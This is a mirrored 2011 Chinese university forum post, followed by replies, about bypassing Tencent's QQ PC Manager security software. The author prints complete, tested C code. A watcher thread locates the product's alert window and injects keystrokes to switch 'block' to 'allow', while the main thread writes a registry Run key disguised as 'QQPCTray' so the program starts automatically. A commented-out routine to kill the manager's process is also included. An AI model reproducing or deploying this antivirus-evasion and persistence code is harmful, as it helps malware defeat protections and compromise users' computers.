BBYR Achieve
返回信息流
这是一条镜像帖。来源:北邮人论坛 / security / #32762同步于 2011/8/5
该镜像源已超过 30 天没有更新,可能在源站已被删除。
Security机器人发帖

QQ电脑管家简单绕过

ColdZenLeft
2011/8/5镜像同步7 回复
话说昨天去某个地方帮人看银行软件冲突,也真是够诡异,发现那个人的电脑上装了360安全卫士+杀毒,金山杀毒,QQ软件管家,然后一旦支付银行业务,浏览器会崩掉,弹框是XX不可读。于是乎先是OD了下,怀疑是QQ,再继续把QQ的插件在浏览器中设置禁用,再运行就好了。不过在之前的简单分析过程中发现QQ电脑貌似具有监控作用,再后来我在客户那里开了个IS发现还是带驱动的,肃然起敬啊。介于那个时候别人的电脑不好过多操作,于是回来之后想好好看看。 QQ的驱动级HOOK还是非常常规的,在SSDT上,什么进程防杀的(NtOpenProcess+NtTerminateProcess),线程防杀放冻结的(NtOpenThread+NtSuspendThread),保护文件的(NtCreateFile+NtSetInformationFile),以及注册表防护的相关函数加上内存保护的,当然还有和重要的驱动加载(NtLoadDriver+NtSetSystemInformation)。另外一些特殊攻击手段,如NtDuplicateObject,NtRequestWaitReplyPort,NtCreateSection都做了。然后窗口保护(Shadow SSDT)也不错,从函数上看什么洪水攻击一类地肯定是无效的了,枚举窗口信息的那一堆相关函数也是不行的。 于是感叹现在的杀毒做得都挺邪恶了,门槛已经提高了很多了。不过转念一想,貌似TX没说过做杀毒吧,虽然这个软件和杀毒差不大多,也有很多监控机制和优化机制,当个360另类版,不过后来认真看了下发现,似乎QQ电脑管家的防御机制还是不乐观。下面我来简单说说问题。 如果我执行一些危险的操作,例如杀死QQPCMgr.exe的进程或者是干掉其自启动注册表,毫无疑问肯定会被拦截掉。所述效果如下: 不过我感觉QQ这点上做得似乎“仁慈”了那么一点,其实有的行为是不值得同情的。或者这点上360的反复提示有时候还是一件好事,原因后面解释。 还有一个灰常致命的问题就是不知道QQ的驱动是不是有缺陷,似乎窗口不能枚举到,相关窗口的子窗口也不能,不过WIN32下函数众多,事实上还是有办法地,就GetWindow和GetNextWindow还是可以枚举到外层窗口,例如SPY++就可以: 而且最糟糕的是,它居然接收PostMessage消息。我记得大概2009年10月的时候,瑞星当时也是这个情况,而且选项齐全,不过那时候瑞星没有Shadow SSDT HOOK,所以说可以很邪恶的直接模拟消息机制那个绕过去,反正就是点个“是”嘛,你自己帮用户点了就是了。我后来键盘上实验了一下,直接按3个Tab,加一个空格就可以将“阻止”改为“允许”,嗯: PostMessage(hQQMgrWnd,WM_KEYDOWN,VK_TAB,NULL); PostMessage(hQQMgrWnd,WM_KEYDOWN,VK_TAB,NULL); PostMessage(hQQMgrWnd,WM_KEYDOWN,VK_TAB,NULL); PostMessage(hQQMgrWnd,WM_KEYDOWN,VK_SPACE,NULL); 但是还有个问题,虽然这个情况存在,怎么利用呢?因为,如果我们在函数里面一旦写了带有攻击性质的代码,肯定会被拦截下来,然后就等于说是暴漏了攻击。我相信以前编过驱动主防的人肯定知道,我们一般拦截函数都是拦截访问它的线程,当然知道了线程也可以知道是哪个进程,不过事实上阻塞貌似很少有人会去阻塞其进程,而都是线程。当然如果说你的程序是个简单的C程序连个线程都没有加,那就是一个线程——主线程,如果它被阻塞了且你就一个线程,效果和进程阻塞了其实差不多。 如果知道这个,就可以利用我们学的多线程编程来解决这个问题,大致思路就是,我在程序运行时(主线程)启动一个监控线程A,然后主线程干坏事故意被“逮”引出交互窗口,然后A发现交互窗口之后那个直接“做掉”它,这样主线程的恶意行为就等于放行了。⊙﹏⊙,有点扯吧。代码如下,时间太晚了,我就胡乱写了,优化不足,但是效果倒是测试过了: #include <stdio.h> #include <windows.h> #include <tlhelp32.h> DWORD GetProcessId(char *ProcessName); DWORD COUNT = 7; //通过窗口操作过杀软提示框的线程 DWORD WINAPI Thread_PassWindow(LPVOID para) { HANDLE *phEvent = (HANDLE*)para; int iCont = 0; do //找7次,每次休息1秒,自己设的,当然估计要做好肯定比这个复杂很多 { HWND hWnd; char buffer[MAX_PATH]; //开始遍历窗口 hWnd = GetWindow(GetDesktopWindow(),GW_CHILD); while( hWnd != NULL ) { ZeroMemory( buffer, MAX_PATH); GetClassName( hWnd, buffer, MAX_PATH); if( strstr( buffer, "TXGuiFoundation") ) { HWND hAVPWnd = hWnd; HWND hQQMgrWnd = hWnd; //模拟控制按键 PostMessage(hQQMgrWnd,WM_KEYDOWN,VK_TAB,NULL); PostMessage(hQQMgrWnd,WM_KEYDOWN,VK_TAB,NULL); PostMessage(hQQMgrWnd,WM_KEYDOWN,VK_TAB,NULL); PostMessage(hQQMgrWnd,WM_KEYDOWN,VK_SPACE,NULL); printf("hQQMgrWnd=%0.8X\n",hQQMgrWnd); printf("监控线程找到QQ电脑管家窗口...\n\n"); } hWnd = GetNextWindow( hWnd, GW_HWNDNEXT); }//完成一次遍历窗口 Sleep(1000); iCont++; }while(iCont < COUNT); end: printf("设置事件消息...\n\n"); SetEvent(*phEvent); printf("监控线程退出...\n\n"); return 0; } int main(int argc, char* argv[]) { //创建并且初始化事件 printf("主线程开始运行...\n\n"); HANDLE hEventPass; hEventPass = CreateEvent(NULL,FALSE,FALSE,NULL); //创建绕过窗口的线程 printf("创建监控窗口情况的线程...\n\n"); CreateThread(NULL,0,Thread_PassWindow,&hEventPass,0,NULL); Sleep(500); //执行威胁操作,这里就是结束掉QQPCMgr.exe进程 /* printf("主线程开始执行威胁操作,攻击QQPCMgr.exe进程...\n\n"); DWORD dwQQMgrPid = 0; dwQQMgrPid = GetProcessId("QQPCMgr.exe"); HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwQQMgrPid); printf("QQPCMgr.exe PID=%d Handle=%0.8X\n\n",dwQQMgrPid,hProc); TerminateProcess(hProc,0); */ //将QQPCMgr.exe的启动项改为自己的路径,这肯定是一级威胁了 DWORD dwDisposition; HKEY hKey; char filepath[MAX_PATH]={'\0'}; GetModuleFileName(NULL,filepath,MAX_PATH); if(RegCreateKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\windows\\CurrentVersion\\Run\\",0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) == ERROR_SUCCESS) if (RegSetValueEx(hKey," QQPCTray",0,REG_SZ,(LPBYTE)filepath,strlen(filepath)+1) == ERROR_SUCCESS) printf("自启动设置成功!!!\n\n"); //等待直到线程运行结束 WaitForSingleObject(hEventPass,INFINITE); printf("本程序结束...\n\n"); system("pause"); return 0; } //由进程名称找到对应的PID DWORD GetProcessId(char *ProcessName) { PROCESSENTRY32 pe32; pe32.dwSize=sizeof(pe32); //获得系统内所有进程快照 HANDLE hProcessessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if(hProcessessSnap==INVALID_HANDLE_VALUE) { return FALSE; } //枚举列表中的第一个进程 BOOL bProcess=Process32First(hProcessessSnap,&pe32); while(bProcess) { //比较得到的进程名和要保护的进程名是否相同 if(stricmp(pe32.szExeFile,ProcessName)==0) { //相同则返回此进程ID return pe32.th32ProcessID; } bProcess=Process32Next(hProcessessSnap,&pe32); } CloseHandle(hProcessessSnap); //否则返回0 return 0; } 窗口效果,貌似和想象有点出入,窗口不止一个,不过不管了,=_=困了,就那样吧: 最后测试情况: 我的测试版本是QQ电脑管家5.3,貌似最新版,我想下次新版估计应该就好了吧。。。还有,大神勿拍[em17],顺便祝大家节日快乐哈,呵呵。。。
订阅后,新回复会通过你的通知中心匿名送达。
7 条回复
Eveilei机器人#1 · 2011/8/5
节日快乐。
yangmao1991机器人#2 · 2011/8/6
楼主大牛啊,写一大堆看得不大懂……能问下你的安全组合吗?
joanlynnlove机器人#3 · 2011/8/6
顶,第二段看不懂,幸好能看懂windows编程。。。
kingstone机器人#4 · 2011/8/6
111.111快乐!
ColdZenLeft机器人#5 · 2011/8/6
【 在 yangmao1991 的大作中提到: 】 : 楼主大牛啊,写一大堆看得不大懂……能问下你的安全组合吗? : -- 哎,就一个360而已,其实你看注册表就能看出来的。安全软件还是可以组合着用,一般你可以360安全卫士搭配一个杀软(钩子位置不同而且可以互补的)。。。 QQ管家还是不错的,据说用它还可以加速QQ升级呢,不过没去验证, 说来如果QQ管家把那个问题解决了传统手段就估计不多了,那个应该不难的,但是不管的话就致命了,估计下个版本就好了。。。 ⊙﹏⊙b其实我才睡起来,那个代码其实也写得乱七八糟的,没有优化。大意就是: 1、main函数中启动一个监控窗口类名的线程,发现QQ软件管家的就发那个消息关闭它(其实这个很不科学,有点就事论事的意思)。 2、然后main中故意写恶意代码引出管家的消息窗口,虽然main(主线程)被QQ主防卡死了,但是之前的线程还在(编程者一般不会卡一个进程而无非就是操作线程,编过主防类代码的童鞋都知道的) 3、最后监控线程控制QQ管家窗口选择为“通过”,然后监控线程退出,主线程的恶意代码就等于是运作了 多线程玩的小花招而已,代码写烂了,我现在看起来都头晕。
pain机器人#6 · 2011/8/6
Good Job, 希望看到不光是结果,还有找到这问题的过程
rebirthatsix机器人#7 · 2011/8/6
嗯,GetWindow从内核层真心不好防,在不走BuildHwndList的分支下尤其不好整